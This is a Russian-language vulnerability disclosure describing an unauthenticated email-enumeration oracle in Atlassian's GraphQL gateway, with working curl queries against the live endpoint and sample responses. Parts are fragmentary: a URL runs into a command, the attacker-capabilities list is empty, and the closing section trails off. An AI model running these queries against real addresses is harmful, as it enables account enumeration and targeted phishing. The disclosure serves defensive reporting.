
CVE-2026-XXXX: Atlassian GraphQL Оракул перечисления email (CWE-204, CVSS 5.3 MEDIUM)
Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)
CWE-204: Observable Response Discrepancy — Оракул перечисления email
СРЕДНИЙ — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
GraphQL-запрос loomUnauthenticated_primaryAuthTypeForEmail на центральном GraphQL-шлюзе Atlassian возвращает разные ответы в зависимости от того, зарегистрирован ли email-адрес в Atlassian, что позволяет перечислять пользователей без аутентификации.
Зарегистрированный email → возвращает authType (например, workos, password, google) и URI перенаправления
Незарегистрированный email → возвращает authType: "none" без URI перенаправления
Аутентификация не требуется. Имя запроса содержит "Unauthenticated" — он намеренно публичен, но не должен раскрывать, есть ли у произвольного email учетная запись Atlassian.
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
Ответ:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
Ответ:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" подтверждает, что email использует WorkOS SSO. authType: "google" или authType: "password" раскроет метод аутентификации. Это позволяет проводить целевой фишинг.
Неаутентифицированный злоумышленник может:
Запрос loomUnauthenticated_primaryAuthTypeForEmail не выполняет ограничение частоты и возвращает информацию о провайдере аутентификации для любого email без аутентификации. Хотя конечная точка намеренно неаутентифицирована (для процесса регистрации Loom), она раскрывает, есть ли у email учетная запись и какой провайдер аутентификации используется.
После тщательного тестирования эти утверждения были опровергнуты:
aaid: "unidentified")ValidationError)unidentified)Wh4l3X